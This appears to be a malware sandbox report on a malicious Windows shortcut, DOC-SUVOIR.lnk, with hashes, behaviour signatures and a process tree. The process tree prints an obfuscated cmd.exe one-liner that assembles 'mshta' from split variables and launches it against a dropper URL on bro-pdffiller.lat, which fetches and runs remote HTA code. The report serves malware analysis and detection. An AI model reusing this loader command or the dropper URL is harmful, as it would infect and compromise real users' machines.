Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:27
Static task
static1
Behavioral task
behavioral1
Sample
DOC-SUVOIR.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-SUVOIR.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-SUVOIR.lnk
- Size 1KB
- Sample260803-qqb2taab98
- SHA256 1a6792759d7bfda459412cd890e5c4c6ed650e06ef4e85b3a86d13557a278390
- MD5 05c655846c5aa3fd9a6f2f8e15f60de8
- SHA1 1dffeec4b41ef470fb4e122759356bf23550710d
- SHA512 e9b1a80a29034f99420e09b43db621207214514545810b746d234832e3925a1058e1c30e4b12954d07b3664970ea3dd537e13474402fe61b0c11e916d8d95e20
- TLSH T14E3164002BFD0624F3F38F3298BB5B2088BBB9568E20861D0141460C5032A04E1BAFB7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5156 cmd.exe 3408 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5156 wrote to memory of 3408 5156 cmd.exe 90 PID 3408 wrote to memory of 1056 3408 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SUVOIR.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5156 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set mmGS=msh&&set nYBr=ta&&start "" !mmGS!!nYBr! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:1056
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